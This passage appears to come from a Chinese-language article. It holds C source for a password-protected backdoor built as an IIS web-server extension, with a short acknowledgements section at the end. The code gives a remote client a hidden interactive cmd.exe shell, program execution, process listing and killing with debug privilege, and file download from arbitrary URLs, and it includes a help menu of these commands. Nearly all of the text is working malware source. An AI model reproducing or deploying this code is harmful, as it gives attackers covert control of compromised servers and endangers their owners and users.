if ( strncmp( buff , PASSWORD , strlen(PASSWORD) ) != 0 )
{
SendToClient( pECB , err );
return HSE_STATUS_SUCCESS;
}
#ifdef DEBUG
LogStrToFile( "-------------------------------\n" );
LogStrToFile( "客户端成功登陆\n" );
#endif
SendToClient( pECB , helo );
SendToClient( pECB , FLAG );
while(TRUE)
{
ZeroMemory( buff , BUFFSIZE );
dwBytes = BUFFSIZE;
while( buff[0] == '\0' )//判断是否是空串
{
Sleep(1000);
pECB->ReadClient( pECB->ConnID , buff , &dwBytes );
}
if( strcmp( buff , "exit\n" ) == 0 )
{
SendToClient( pECB , "ByeBye...\n" );
break;
}
SwitchCmd( pECB , buff );
}
return HSE_STATUS_SUCCESS;
}
void SwitchCmd( EXTENSION_CONTROL_BLOCK *pECB , char *buff )
{
WORKARG workArg;
HANDLE hThread = NULL;
DWORD threadID = 0;
//SendToClient( pECB , "客户端命令: " );
//SendToClient( pECB , buff );
#ifdef DEBUG
LogStrToFile( "客户端命令: " );
LogStrToFile( buff );
#endif
//去掉命令里面的回车符
*(strchr( buff , '\n' )) = '\0';
//参数不能超过ARGSIZE
if( strlen( buff+5 ) >= ARGSIZE )
{
SendToClient( pECB , "Arguments is too long...\n" );
SendToClient( pECB , FLAG );
return;
}
//将要传递给新线程的参数清空
ZeroMemory( workArg.arg , sizeof(workArg.arg) );
//如果是pslist命令，列举进程
if( StartWith(buff , "pslist") )
{
hThread = CreateThread( NULL ,
0 ,
(LPTHREAD_START_ROUTINE)PsList ,
(LPVOID)pECB ,
0 ,
&threadID );
if( hThread == NULL )
{
#ifdef DEBUG
LogStrToFile( "创建线程列举进程失败,错误码: " );
LogIntToFile( GetLastError( ) );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "List process error...\n" );
SendToClient( pECB , FLAG );
return;
}
WaitForSingleObject( hThread , 6000 );
CloseHandle( hThread );
SendToClient( pECB , FLAG );
return;
}
//kill命令，杀进程
else if( StartWith(buff , "kill") )
{
//如果没有参数
if( *( buff+5 ) == '\0' )
{
SendToClient( pECB , "Usage:kill pid\n" );
SendToClient( pECB , FLAG );
return;
}
workArg.pECB = pECB;
strcpy( workArg.arg , buff+5 );
hThread = CreateThread( NULL ,
0 ,
(LPTHREAD_START_ROUTINE)Kill ,
(LPVOID)&workArg ,
0 ,
&threadID );
if( hThread == NULL )
{
#ifdef DEBUG
LogStrToFile( "创建线程杀进程失败,错误码: " );
LogIntToFile( GetLastError( ) );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Kill process error...\n" );
SendToClient( pECB , FLAG );
return;
}
WaitForSingleObject( hThread , 5000 );
CloseHandle( hThread );
SendToClient( pECB , FLAG );
return;
}
//shell命令，运行一个cmd获取shell，为防止主机设置权限，需指明cmd路径
else if( StartWith(buff , "shell") )
{
//如果没有参数
if( *( buff+6 ) == '\0' )
{
SendToClient( pECB , "Usage:shell ShellPath\n" );
SendToClient( pECB , FLAG );
return;
}
workArg.pECB = pECB;
strcpy( workArg.arg , buff+6 );
hThread = CreateThread( NULL ,
0 ,
(LPTHREAD_START_ROUTINE)Shell ,
(LPVOID)&workArg ,
0 ,
&threadID );
if( hThread == NULL )
{
#ifdef DEBUG
LogStrToFile( "创建线程执行shell失败,错误码: " );
LogIntToFile( GetLastError( ) );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Get shell error...\n" );
SendToClient( pECB , FLAG );
return;
}
WaitForSingleObject( hThread , INFINITE );
CloseHandle( hThread );
return;
}
else if( StartWith(buff , "exec") )
{
//如果没有参数
if( *( buff+5 ) == '\0' )
{
SendToClient( pECB , "Usage:shell ShellPath\n" );
SendToClient( pECB , FLAG );
return;
}
workArg.pECB = pECB;
strcpy( workArg.arg , buff+5 );
hThread = CreateThread( NULL ,
0 ,
(LPTHREAD_START_ROUTINE)ExecProgram ,
(LPVOID)&workArg ,
0 ,
&threadID );
if( hThread == NULL )
{
#ifdef DEBUG
LogStrToFile( "创建线程运行程序失败,错误码: " );
LogIntToFile( GetLastError( ) );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Execute program error...\n" );
SendToClient( pECB , FLAG );
return;
}
WaitForSingleObject( hThread , 10000 );
CloseHandle( hThread );
return;
}
//down命令，利用http协议下载文件
else if( StartWith(buff , "down") )
{
//如果没有参数
if( *( buff+5 ) == '\0' )
{
SendToClient( pECB , "Usage:down http://www.example.com/test.exe\n" );
SendToClient( pECB , FLAG );
return;
}
workArg.pECB = pECB;
strcpy( workArg.arg , buff+5 );
hThread = CreateThread( NULL ,
0 ,
(LPTHREAD_START_ROUTINE)DownLoad ,
(LPVOID)&workArg ,
0 ,
&threadID );
if( hThread == NULL )
{
#ifdef DEBUG
LogStrToFile( "创建线程下载文件失败,错误码: " );
LogIntToFile( GetLastError( ) );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Download file error...\n" );
SendToClient( pECB , FLAG );
return;
}
WaitForSingleObject( hThread , INFINITE );
CloseHandle( hThread );
SendToClient( pECB , FLAG );
return;
}
//命令不正确，输出帮助
else
{
hThread = CreateThread( NULL ,
0 ,
(LPTHREAD_START_ROUTINE)Help ,
(LPVOID)pECB ,
0 ,
&threadID );
if( hThread == NULL )
{
#ifdef DEBUG
LogStrToFile( "创建线程输出帮助信息失败,错误码: " );
LogIntToFile( GetLastError( ) );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Print help error...\n" );
SendToClient( pECB , FLAG );
return;
}
WaitForSingleObject( hThread , 5000 );
CloseHandle( hThread );
SendToClient( pECB , FLAG );
return;
}
}
//判断字符串buf1是否以buf2开头，是返回真
BOOL StartWith( char *buf1, char *buf2 )
{
int len = strlen(buf2);
if( memcmp( buf1,buf2,len) == 0)
{
return TRUE;
}
return FALSE;
}
//运行shell
void Shell( LPVOID arg )
{
WORKARG *workArg = (WORKARG *)arg;
SECURITY_ATTRIBUTES sa;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
STARTUPINFO si;
PROCESS_INFORMATION procInfo;
char cmdLine[ARGSIZE] = { 0 };
char buff[BUFFSIZE] = { 0 };
int ret = 0;
unsigned long dwBytes = 0;
int index = 0;
EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;
strcpy( cmdLine , workArg->arg );
if( cmdLine[0] == '\0' )
{
#ifdef DEBUG
LogStrToFile( "执行shell时，没有要输入要运行的shell路径\n" );
#endif
SendToClient( pECB , "No shell to run...\n" );
SendToClient( pECB , FLAG );
return;
}
#ifdef DEBUG
LogStrToFile( "要运行的程序: " );
LogStrToFile( workArg->arg );
LogStrToFile( "\n" );
#endif
//安全选项
sa.nLength = sizeof( sa );
sa.lpSecurityDescriptor = 0;
sa.bInheritHandle = TRUE;
//初始化管道
if( !CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0) )
{
#ifdef DEBUG
LogStrToFile( "建立管道失败: " );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Create pipi error...\n" );
SendToClient( pECB , FLAG );
return;
}
if( !CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0) )
{
#ifdef DEBUG
LogStrToFile( "建立管道失败: " );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Create pipi error...\n" );
SendToClient( pECB , FLAG );
return;
}
ZeroMemory( &si , sizeof(STARTUPINFO) );
GetStartupInfo( &si );
si.cb = sizeof( si );
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
ZeroMemory( &procInfo , sizeof(PROCESS_INFORMATION) );
ret = CreateProcess( NULL , cmdLine , NULL , NULL , 1 , 0 , NULL , NULL , &si , &procInfo );
if( !ret )
{
#ifdef DEBUG
LogStrToFile( "建立进程失败...\n" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "Create process error...\n" );
SendToClient( pECB , FLAG );
return;
}
while(1)
{
memset( buff , 0 , BUFFSIZE );
ret=PeekNamedPipe( hReadPipe1 , buff , BUFFSIZE , &dwBytes , NULL , NULL );
//尝试5次读取管道，防止延迟发生错误
for( index = 0; index < 5 && dwBytes == 0; index ++ )
{
Sleep(100);
ret = PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&dwBytes,NULL,NULL);
}
//获取输出信息，输出到客户端
if(dwBytes)
{
ret = ReadFile( hReadPipe1,buff,dwBytes,&dwBytes,0 );
if( !ret )
{
#ifdef DEBUG
LogStrToFile( "读取输出失败: " );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
break;
}
#ifdef DEBUG
LogStrToFile( buff );
#endif
ret = SendToClient( pECB , buff );
if( ret<=0 )
{
#ifdef DEBUG
LogStrToFile( "发送输出失败:" );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
break;
}
}
//从客户端获取命令
else
{
//客户端无输入则循环读取
while( buff[0] == '\0' )
{
Sleep(100);
dwBytes = BUFFSIZE;
pECB->ReadClient( pECB->ConnID , buff , &dwBytes );
}
#ifdef DEBUG
LogStrToFile( "读到客户命令了，内容是: " );
LogStrToFile( buff );
#endif
//如果是exit命令，退出连接
if( strcmp( buff , "exit\n" ) == 0 )
{
SendToClient( pECB , "ByeBye~!\n" );
break;
}
ret = WriteFile( hWritePipe2 , buff , dwBytes , &dwBytes , 0 );
if( !ret )
{
#ifdef DEBUG
LogStrToFile( "把命令发送到shell失败\n" );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
break;
}
}
}
CloseHandle(hReadPipe1);
CloseHandle(hReadPipe2);
CloseHandle(hWritePipe1);
CloseHandle(hWritePipe2);
TerminateProcess( procInfo.hProcess , 0 );
return;
}
//运行一个程序
void ExecProgram( LPVOID arg )
{
WORKARG *workArg = (WORKARG *)arg;
SECURITY_ATTRIBUTES sa;
HANDLE hReadPipe1 = NULL;
HANDLE hWritePipe1 = NULL;
STARTUPINFO si;
PROCESS_INFORMATION procInfo;
char cmdLine[ARGSIZE] = { 0 };
char buff[BUFFSIZE] = { 0 };
int ret = 0;
unsigned long dwBytes = 0;
EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;
strcpy( cmdLine , workArg->arg );
if( cmdLine[0] == '\0' )
{
#ifdef DEBUG
LogStrToFile( "执行程序时，没有要输入要运行的程序\n" );
#endif
SendToClient( pECB , "No program to run...\n" );
SendToClient( pECB , FLAG );
return;
}
#ifdef DEBUG
LogStrToFile( "要运行的程序: " );
LogStrToFile( workArg->arg );
LogStrToFile( "\n" );
#endif
//安全选项
sa.nLength = sizeof( sa );
sa.lpSecurityDescriptor = 0;
sa.bInheritHandle = TRUE;
//初始化管道
if( !CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0) )
{
#ifdef DEBUG
LogStrToFile( "建立管道失败: " );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Create pipi error...\n" );
SendToClient( pECB , FLAG );
return;
}
ZeroMemory( &si , sizeof(STARTUPINFO) );
GetStartupInfo( &si );
si.cb = sizeof( si );
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdOutput = si.hStdError = hWritePipe1;
ZeroMemory( &procInfo , sizeof(PROCESS_INFORMATION) );
ret = CreateProcess( NULL , cmdLine , NULL , NULL , 1 , 0 , NULL , NULL , &si , &procInfo );
if( !ret )
{
#ifdef DEBUG
LogStrToFile( "建立进程失败...\n" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "Create process error...\n" );
SendToClient( pECB , FLAG );
return;
}
memset( buff , 0 , BUFFSIZE );
//读取程序输出
while( dwBytes == 0 )
{
Sleep(200);
ret = PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&dwBytes,NULL,NULL);
}
ret = ReadFile( hReadPipe1,buff,dwBytes,&dwBytes,0 );
if( !ret )
{
#ifdef DEBUG
LogStrToFile( "读取输出失败: " );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
}
#ifdef DEBUG
LogStrToFile( buff );
#endif
ret = SendToClient( pECB , buff );
if( ret<=0 )
{
#ifdef DEBUG
LogStrToFile( "发送输出失败:" );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
}
CloseHandle(hReadPipe1);
CloseHandle(hWritePipe1);
TerminateProcess( procInfo.hProcess , 0 );
return;
}
void PsList( EXTENSION_CONTROL_BLOCK *pECB )
{
HANDLE hProcessSnap = NULL;
HANDLE hProcess = NULL;
PROCESSENTRY32 pe32;
char psBuff[BUFFSIZE] = { 0 };
SendToClient( pECB , "Process Information List 0.1\n\n" );
/*
SendToClient( pECB , "Code by 云舒(wustyunshu@hotmail.com)\n" );
SendToClient( pECB , "www.ph4nt0m.org www.icylife.net\n" );
*/
hProcessSnap = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
if( hProcessSnap == INVALID_HANDLE_VALUE )
{
#ifdef DEBUG
LogStrToFile( "Call CreateToolhelp32Snapshot error" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "List process information error...\n" );
return;
}
pe32.dwSize = sizeof( PROCESSENTRY32 );
if( !Process32First( hProcessSnap, &pe32 ) )
{
#ifdef DEBUG
LogStrToFile( "Call Process32First error" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "List process information error...\n" );
SendToClient( pECB , FLAG );
CloseHandle( hProcessSnap );
return;
}
SendToClient( pECB , "PID\t\tProcessName\n" );
do
{
ZeroMemory( psBuff , sizeof(psBuff) );
sprintf( psBuff , "%d\t\t%s\n", pe32.th32ProcessID , pe32.szExeFile );
SendToClient( pECB , psBuff );
}
while( Process32Next( hProcessSnap, &pe32 ) );
return;
}
void Kill( LPVOID arg )
{
WORKARG *workArg = (WORKARG *)arg;
HANDLE hProcess = NULL;
DWORD pID;
EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
pID = atoi( workArg->arg );
if ( !OpenProcessToken( GetCurrentProcess() , TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY , &hToken ) )
{
#ifdef DEBUG
LogStrToFile( "Call OpenProcessToken error" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "Kill process error...\n" );
return;
}
if ( !LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) )
{
#ifdef DEBUG
LogStrToFile( "Call LookupPrivilegeValue error" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "Kill process error...\n" );
return;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL );
CloseHandle( hToken );
hProcess = OpenProcess( PROCESS_TERMINATE , FALSE , pID );
if( hProcess ==INVALID_HANDLE_VALUE || hProcess == NULL )
{
#ifdef DEBUG
LogStrToFile( "Call OpenProcess error" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "Kill process error...\n" );
CloseHandle( hToken );
CloseHandle( hProcess );
return;
}
if ( !TerminateProcess( hProcess, (DWORD) -1 ) )
{
#ifdef DEBUG
LogStrToFile( "Call TerminateProcess error" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "Kill process error...\n" );
CloseHandle( hToken );
CloseHandle( hProcess );
return;
}
SendToClient( pECB , "killed ok\n" );
CloseHandle( hToken );
CloseHandle( hProcess );
return;
}
void DownLoad( LPVOID arg )
{
WORKARG *workArg = (WORKARG *)arg;
char fileName[64] = { 0 };//保存的文件名
char fullPath[256] = { 0 };//保存的完整地址
char url[ARGSIZE] = { 0 };//下载的URL
char seps[] = "/";//分割字符
char *token;
int ret = 0;
EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;;
strcpy( url , workArg->arg );
token = strtok( url , seps );
while( token != NULL )
{
strcpy( fileName , token );
token = strtok( NULL , seps );
}
strcpy( url , workArg->arg );
GetCurrentDirectory( sizeof(fullPath) - sizeof(fileName) , fullPath );
strcat( fullPath , "\\" );
strcat( fullPath , fileName );
SendToClient( pECB , "Download " );
SendToClient( pECB , url );
SendToClient( pECB , "\nThe file saved to " );
SendToClient( pECB , fullPath );
ret = URLDownloadToFile( 0 , url , fullPath , 0 , 0 );
if( ret == S_OK )
{
SendToClient( pECB , "\nDownLoad ok\n" );
return;
}
#ifdef DEBUG
LogStrToFile( "Call URLDownloadToFile error" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "DownLoad file error...\n" );
return;
}
void Help( EXTENSION_CONTROL_BLOCK * pECB)
{
char buff[BUFFSIZE] = "\nNow,Support these command:\n";
strcat( buff , "pslist--------------List Process Information\n" );
strcat( buff , "kill PID------------Kill The Process\n" );
strcat( buff , "exec Program--------Run A Program\n" );
strcat( buff , "shell ShellPath-----Get A System Shell,Normal shell cmd.exe\n" );
strcat( buff , "down URL------------DownLoad A File\n" );
strcat( buff , "exit----------------Exit\n" );
SendToClient( pECB , buff );
return;
}
void LogStrToFile( char *buff )
{
FILE *fp = NULL;
fp = fopen( LOGPATH , "a+" );
if( fp == NULL ) return;
fputs( buff , fp );
fclose( fp );
}
void LogIntToFile( int num )
{
FILE *fp = NULL;
fp = fopen( LOGPATH , "a+" );
if( fp == NULL ) return;
fprintf( fp , "%d" , num );
fclose( fp );
}
BOOL SendToClient( EXTENSION_CONTROL_BLOCK * pECB , char *buff )
{
DWORD dwByte = strlen(buff);
return (pECB->WriteClient( pECB->ConnID , buff , &dwByte , 0 ));
}
四.感谢与参考
1.在获取shell的时候格式很难看，envymask告诉我是网络延迟的原因，得以解决，感谢！
2.参考《绿盟安全月刊》第37期的技术专题里面的第五章《Exploit Microsoft INTERNET INFORMATION SERVER》，地址为http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1662
3.参考MSDN函数库
